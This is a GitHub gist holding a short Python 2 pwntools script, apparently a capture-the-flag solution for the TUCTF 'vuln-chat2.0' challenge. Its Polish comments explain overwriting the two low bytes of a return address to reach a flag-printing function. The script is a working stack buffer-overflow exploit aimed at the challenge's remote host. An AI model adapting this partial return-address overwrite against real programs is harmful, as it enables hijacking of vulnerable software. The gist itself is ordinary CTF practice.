Skip to content

Instantly share code, notes, and snippets.

@mjonasz
Last active November 26, 2017 23:15
Show Gist options
  • Save mjonasz/6c0a960b19a6020d897ca255c06eda4a to your computer and use it in GitHub Desktop.
Save mjonasz/6c0a960b19a6020d897ca255c06eda4a to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
#okazalo się że można nadpisać dwa mnie znaczące bajty adresu powrotu,
#to wystarcza żebo skoczyć no metody drukującej flage - nie trza żadnych ropów
from pwn import *
context.arch = 'i386'
#p = process('./vuln-chat2.0')
p = remote('vulnchat2.tuctf.com', 4242)
#gdb.attach(p)
print p.recvuntil(":")
p.sendline("user")
print p.recvuntil("user: ")
#raw_input("klik")
padding_read = "eMVM3MbuSXRxPsT4QSLG4ertPc4XkrbMuPwMzMP3PNL"
part_ret = "\x72\x86" # 2 LSB of flag method
p.sendline(padding_read + part_ret) # overwrite 2 bytes of ret address with flag method
p.recv()
print p.recvuntil("}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment